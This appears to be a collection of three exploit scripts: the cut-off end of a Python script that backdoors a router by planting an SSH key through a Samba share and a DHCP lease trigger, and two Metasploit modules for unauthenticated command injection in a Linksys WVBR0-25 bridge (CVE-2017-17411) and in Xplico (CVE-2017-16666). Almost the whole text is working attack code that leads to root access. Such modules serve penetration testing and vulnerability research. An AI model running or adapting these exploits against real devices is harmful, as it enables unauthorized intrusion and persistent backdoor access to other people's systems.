        "id":666})
    ws.send(req)
    response =  json.loads(ws.recv())
    ws.close()
    try:
        key = response.get('result')[1].get('ubus_rpc_session')
    except IndexError:
        return(None)
    return(key)

def ubusCall(host, key, namespace, argument, params={}):
    ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps({"jsonrpc":"2.0","method":"call",
        "params":[key,namespace,argument,params],
        "id":666})
    ws.send(req)
    response =  json.loads(ws.recv())
    ws.close()
    try:
        result = response.get('result')[1]
    except IndexError:
        if response.get('result')[0] == 0:
            return(True)
        return(None)
    return(result)

if __name__ == "__main__":
    host = "192.168.1.1"
    payload = """
#!/bin/sh
/bin/echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAkQMU/2HyXNEJ8gZbkxrvLnpSZ4Xz+Wf3QhxXdQ5blDI5IvDkoS4jHoi5XKYHevz8YiaX8UYC7cOBrJ1udp/YcuC4GWVV5TET449OsHBD64tgOSV+3s5r/AJrT8zefJbdc13Fx/Bnk+bovwNS2OTkT/IqYgy9n+fKKkSCjQVMdTTrRZQC0RpZ/JGsv2SeDf/iHRa71keIEpO69VZqPjPVFQfj1QWOHdbTRQwbv0MJm5rt8WTKtS4XxlotF+E6Wip1hbB/e+y64GJEUzOjT6BGooMu/FELCvIs2Nhp25ziRrfaLKQY1XzXWaLo4aPvVq05GStHmTxb+r+WiXvaRv1cbQ== rsa-key-20170427" > /etc/dropbear/authorized_keys
/usr/sbin/odhcpd-update
exit 0
    """

    print("Authenticating...")
    key = ubusAuth(host, "user", "password")
    if (not key):
        print("Auth failed!")
        sys.exit(1)
    print("Got key: %s" % key)

    print("Adding Samba share...")
    smbcheck = json.dumps(ubusCall(host, key, "uci", "get",
        {"config":"samba"}))
    if ("pwned" in smbcheck):
        print("Samba share seems to already exist, skipping")
    else:
        smba = ubusCall(host, key, "uci", "add",
            {"config":"samba", "type":"sambashare", "values":
            {"name":"pwned", "read_only":"no", "create_mask":"0775", "dir_mask":"0775",
            "path":"/mnt/", "guest_ok":"yes"}})
        if (not smba):
            print("Adding Samba share failed!")
            sys.exit(1)

    print("Enabling Samba...")
    smbe = ubusCall(host, key, "uci", "set",
        {"config":"samba", "type":"samba", "values":
        {"interface":"lan"}})
    if (not smbe):
        print("Enabling Samba failed!")
        sys.exit(1)

    print("Committing changes...")
    smbc = ubusCall(host, key, "uci", "commit",
        {"config":"samba"})
    if (not smbc):
        print("Committing changes failed!")
        sys.exit(1)

    print("Setting malicious leasetrigger...")
    lts = ubusCall(host, key, "uci", "set",
        {"config":"dhcp", "type":"odhcpd", "values":
        {"leasetrigger":"/mnt/pwn.sh"}})
    if (not lts):
        print("Setting leasetrigger failed!")
        sys.exit(1)

    print("Committing changes...")
    ltc = ubusCall(host, key, "uci", "commit",
        {"config":"dhcp"})
    if (not ltc):
        print("Committing changes failed!")
        sys.exit(1)

    print("Rebooting system...")
    reb = ubusCall(host, key, "juci.system", "reboot")
    if (not reb):
        print("Rebooting failed, try rebooting manually!")
        sys.exit(1)

    print("Waiting on reboot...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    isUp = None
    while (not isUp):
        try:
            sleep(10)
            s.connect((host, 8080))
            isUp = True
            s.close()
        except:
            pass

    print("Creating temp file for payload...")
    with open(".payload.tmp","a+") as file:
        file.write(payload)
        path = os.path.realpath(file.name)

    print("Dropping payload...")
    subprocess.run(r"smbclient \\\\%s\\pwned p -c 'put %s pwn.sh'" % (host, path),
        shell=True, check=True)
    print("Payload dropped")

    print("Authenticating...")
    key = ubusAuth(host, "user", "password")
    if (not key):
        print("Auth failed!")
        sys.exit(1)
    print("Got key: %s" % key)

    print("Executing payload")
    eec = ubusCall(host, key, "juci.service", "stop",
        {"name":"odhcpd"})
    if (not eec):
        print("Stopping odhcpd failed!")
        sys.exit(1)
    ees = ubusCall(host, key, "juci.service", "start",
        {"name":"odhcpd"})
    if (not ees):
        print("Starting odhcpd failed!")
        sys.exit(1)

    print("Cleaning up...")
    os.remove(path)

    print("Exploitation complete")
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Linksys WVBR0-25 User-Agent Command Execution',
      'Description' => %q{
        The Linksys WVBR0-25 Wireless Video Bridge, used by DirecTV to connect wireless Genie
        cable boxes to the Genie DVR, is vulnerable to OS command injection in version < 1.0.41
        of the web management portal via the User-Agent header. Authentication is not required to
        exploit this vulnerability.
      },
      'Author'      =>
        [
          'HeadlessZeke' # Vulnerability discovery and Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          ['CVE', '2017-17411'],
          ['ZDI', '17-973'],
          ['URL', 'https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair']
        ],
      'DisclosureDate' => 'Dec 13 2017',
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 1024,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic netcat'
            }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'Automatic', { }]],
      'DefaultTarget'  => 0
      ))
  end

  def check
    check_str = rand_text_alpha(8)
    begin
      res = send_request_raw({
        'method' => 'GET',
        'uri' => '/',
        'agent' => "\"; printf \"#{check_str}"
      })
      if res && res.code == 200 && res.body.to_s.include?(Rex::Text.md5(check_str))
        return Exploit::CheckCode::Vulnerable
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    print_status("#{peer} - Trying to access the device ...")

    unless check == Exploit::CheckCode::Vulnerable
      fail_with(Failure::NotVulnerable, "#{peer} - Failed to access the vulnerable device")
    end

    print_status("#{peer} - Exploiting...")

    if datastore['PAYLOAD'] == 'cmd/unix/generic'
      exploit_cmd
    else
      exploit_session
    end
  end

  def exploit_cmd
    beg_boundary = rand_text_alpha(8)

    begin
      res = send_request_raw({
        'method' => 'GET',
        'uri'    => '/',
        'agent' => "\"; echo #{beg_boundary}; #{payload.encoded} #"
      })

      if res && res.code == 200 && res.body.to_s =~ /#{beg_boundary}/
        print_good("#{peer} - Command sent successfully")
        if res.body.to_s =~ /ret :.+?#{beg_boundary}(.*)/  # all output ends up on one line
          print_status("#{peer} - Command output: #{$1}")
        end
      else
        fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed")
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end

  def exploit_session
    begin
      send_request_raw({
        'method' => 'GET',
        'uri'    => '/',
        'agent' => "\"; #{payload.encoded} #"
      })
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end
end
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Xplico Remote Code Execution',
      'Description'    => %q{
        This module exploits command injection vulnerability. Unauthenticated users can register a new account and then execute a terminal
        command under the context of the root user.

        The specific flaw exists within the Xplico, which listens on TCP port 9876 by default. The goal of Xplico is extract from an internet
        traffic capture the applications data contained. There is a hidden end-point at inside of the Xplico that allow anyone to create
        a new user. Once the user created through /users/register endpoint, it must be activated via activation e-mail. After the registration Xplico try
        to send e-mail that contains activation code. Unfortunetly, this e-mail probably not gonna reach to the given e-mail address on most of installation.
        But it's possible to calculate exactly same token value because of insecure cryptographic random string generator function usage.

        One of the feature of Xplico is related to the parsing PCAP files. Once PCAP file uploaded, Xplico execute an operating system command in order to calculate checksum
        of the file. Name of the for this operation is direclty taken from user input and then used at inside of the command without proper input validation.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Mehmet Ince <mehmet@mehmetince.net>'  # author & msf module
        ],
      'References'      =>
        [
          ['CVE', '2017-16666'],
          ['URL', 'https://pentest.blog/advisory-xplico-unauthenticated-remote-code-execution-cve-2017-16666/'],
          ['URL', 'https://www.xplico.org/archives/1538']
        ],
      'Privileged'      => true,
      'Platform'        => ['unix'],
      'Arch'            => ARCH_CMD,
      'DefaultOptions'  =>
        {
          'RPORT' => 9876
        },
      'Payload' =>
        {
          'Space'       => 252,
          'DisableNops' => true,
          'BadChars' => "\x2f\x22",
          'Compat' =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic netcat gawk', # other cmd payloads can't fit within 252 space due to badchars.
            },
        },
      'Targets'         => [ ['Automatic', {}] ],
      'DisclosureDate'  => 'Oct 29 2017',
      'DefaultTarget'   => 0
    ))

  end

  def check
    # There is no exact way to understand validity of vulnerability without registering new user as well as trigger the command injection.
    # which is not something we want to do for only check..!
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'users', 'register'),
    )
    if res && res.code == 302
      Exploit::CheckCode::Safe
    else
      Exploit::CheckCode::Unknown
    end
  end

  def initiate_session
    print_status('Initiating new session on server side')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'users', 'login'),
    )
    if res && res.code == 200
      res.get_cookies
    else
      nil
    end

  end

  def register_user(username, password)
    # First thing first, we need to get csrf token from registration form.
    print_status('Registering a new user')

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'users', 'register'),
      'cookie' => @cookie
    )

    if res && res.code == 200
      csrf_token = res.get_hidden_inputs.first['data[_Token][key]'] || nil
      fields = res.get_hidden_inputs.first['data[_Token][fields]'] || nil
    end

    if csrf_token.nil? || fields.nil?
      fail_with(Failure::Unknown, 'Unable to extact hidden fields from registration form.')
    end

    # rand_mail_address sometimes generates buggy email address for this app. So we manually generate email address in here.
    email = ''
    email << rand_text_alpha_lower(rand(10)+4)
    email << '@'
    email << rand_text_alpha_lower(rand(10)+4)
    email << '.'
    email << rand_text_alpha_lower(rand(1)+2)

    # Create user
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'users', 'register'),
      'cookie' => @cookie,
      'vars_post' => {
        '_method' => 'POST',
        'data[_Token][key]' => csrf_token,
        'data[User][email]' => email,
        'data[User][username]' => username,
        'data[User][password]' => password,
        'data[_Token][fields]' => fields,
        'data[_Token][unlocked]' => '',
      }
    )

    if res && res.code == 302
      print_good('New user successfully registered')
      print_status("Username: #{username}")
      print_status("Password: #{password}")
    else
      fail_with(Failure::Unknown, 'Could not register new user')
    end

    # Awesome. We have user. We need to activate it manually..!
    print_status('Calculating em_key code of the user')

    unixtime = Time.parse(res.headers['Date']).to_i
    password_md5 = Rex::Text.md5(password)
    em_key = Rex::Text.md5(
      "#{email}#{password_md5}#{unixtime}"
    )
    print_status("Activating user with em_key = #{em_key}")

    # We need to follow redirections. Even if we managed to find em_key.
    # It will redirect us to the login form. We need to see registration completed on final page.
    res = send_request_cgi!(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'users', 'registerConfirm', em_key),
      'cookie' => @cookie
    )

    if res && res.code == 200 && res.body.include?('Registration Completed.')
      print_good('User successfully activated')
    else
      fail_with(Failure::Unknown, 'Could not activated our user. Target may not be vulnerable.')
    end
  end

  def login(username, password)
    # yet another csrf token gathering.
    print_status('Authenticating with our activated new user')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'users', 'login'),
      'cookie' => @cookie
    )

    if res && res.code == 200
      csrf_token = res.get_hidden_inputs.first['data[_Token][key]'] || nil
      fields = res.get_hidden_inputs.first['data[_Token][fields]'] || nil
    end

    if csrf_token.nil? || fields.nil?
      fail_with(Failure::Unknown, 'Unable to extact hidden fields from login form.')
    end

    res = send_request_cgi!(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'users', 'login'),
      'cookie' => @cookie,
      'vars_post' => {
        '_method' => 'POST',
        'data[_Token][key]' => csrf_token,
        'data[User][username]' => username,
        'data[User][password]' => password,
        'data[_Token][fields]' => fields,
        'data[_Token][unlocked]' => '',
      }
    )

    if res && res.body.include?('<a href="/pols">Cases</a>')
      print_good('Successfully authenticated')
    else
      fail_with(Failure::Unknown, 'Unable to login.')
    end

  end

  def create_new_case
    # We logged in. Not we need to create a new xplico case.
    print_status('Creating new case')
    pol_name = rand_text_alpha_lower(rand(4)+8)
    res = send_request_cgi!(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'pols', 'add'),
      'cookie' => @cookie,
      'vars_post' => {
        '_method' => 'POST',
        'data[Capture][Type]' => 0,
        'data[Pol][name]' => pol_name,
        'data[Pol][external_ref]' => '',
      }
    )

    if res && res.body.include?('The Case has been created')
      res.body.scan(/<a href="\/pols\/view\/([0-9]+)">/).flatten[0]
    else
      nil
    end
  end

  def create_new_sol(pol_id)
    # Since we xplico case, it's time to create a "session" for this case.
    print_status('Creating new xplico session for pcap')

    sol_name = rand_text_alpha_lower(rand(4)+8)
    # sols/add endpoint reads selected case id through session.
    # So we need to hit that end-point so we can insert pol_id into the current session data.
    send_request_cgi!(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'pols', 'view', pol_id),
      'cookie' => @cookie,
    )

    # Creating new session.
    res = send_request_cgi!(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'sols', 'add'),
      'cookie' => @cookie,
      'vars_post' => {
        '_method' => 'POST',
        'data[Sol][name]' => sol_name,
      }
    )

    if res && res.body.include?('The Session has been created')
      res.body.scan(/<a href="\/sols\/view\/([0-9]+)">/).flatten[0]
    else
      nil
    end

  end

  def upload_pcap(sol_id)
    print_status('Uploading malformed PCAP file')
    # We are hitting this end-point so we can access sol_id through session on server-side.
    send_request_cgi!(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'sols', 'view', sol_id),
      'cookie' => @cookie,
    )

    # Reading malformed pcap files.
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2017-16666', 'dump.pcap')
    fd = ::File.open( path, 'rb')
    pcap = fd.read(fd.stat.size)
    fd.close

    data = Rex::MIME::Message.new
    data.add_part('POST', nil, nil, 'form-data; name="_method"')
    data.add_part(pcap, 'application/octet-stream', nil, "form-data; name=\"data[Sols][File]\"; filename=\"`#{payload.encoded})`\"") # Yes back-tick injection!

    # Uploading PCAP file.
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'sols', 'pcap'),
      'cookie' => @cookie,
      'ctype'    => "multipart/form-data; boundary=#{data.bound}",
      'data'     => data.to_s
    )

    if res && res.code == 302
      print_good('PCAP successfully uploaded. Pcap parser is going to start on server side.')
    end

    # We can not wait all the day long to have session.
    # So we are checking status of decoding process 5 times with sleep for a 1 second on each loop.
    is_job_done = nil
    counter = 0
    until session_created? || !is_job_done.nil? || counter == 5
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'sols', 'view', sol_id),
        'cookie' => @cookie,
      )
      if res && res.body.include?('File uploaded, wait start decoding...')
        print_status('Parsing has started. Wait for parser to get the job done...')
      end
      if res && res.body.include?('DECODING')
        print_good('We are at PCAP decoding phase. Little bit more patience...')
      end
      # Tbh decoding process is not going to be finished as long as we have msf session.
      # We are not going to see this case if we are successful exploiting.
      if res && res.body.include?('DECODING COMPLETED')
        print_warning('PCAP parsing process has finished. Haven\'t you got your shell ?')
        is_job_done = 1
        next
      end
      sleep(1)
      counter += 1
    end

  end

  def exploit

    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable")
    end

    # We need to access cookie from everywhere. Thus making it global variable.
    @cookie = initiate_session
    if @cookie.nil?
      fail_with(Failure::Unknown, 'Unable to initiate new sessionid on server.')
    end

    # We only need to access username and password for login func. Let's leave them as a local variables.
    password = rand_text_alpha(32)
    username = rand_text_alpha_lower(rand(8)+8)
    register_user(username, password)
    login(username, password)

    # We will need to have pol_id for creating new xplico session.
    pol_id = create_new_case
    if pol_id.nil?
      fail_with(Failure::Unknown, 'Unable to create New Case.')
    end
    print_good("New Case successfully creted. Our pol_id = #{pol_id}")

    # Create xplico session by using pol_id
    sol_id = create_new_sol(pol_id)
    if sol_id.nil?
      fail_with(Failure::Unknown, 'Unable to create New Sol.')
    end
    print_good("New Sols successfully creted. Our sol_id = #{sol_id}")

    # Uploading malformed PCAP file. We are exploiting authenticated cmd inj in here.
    upload_pcap(sol_id)

  end
end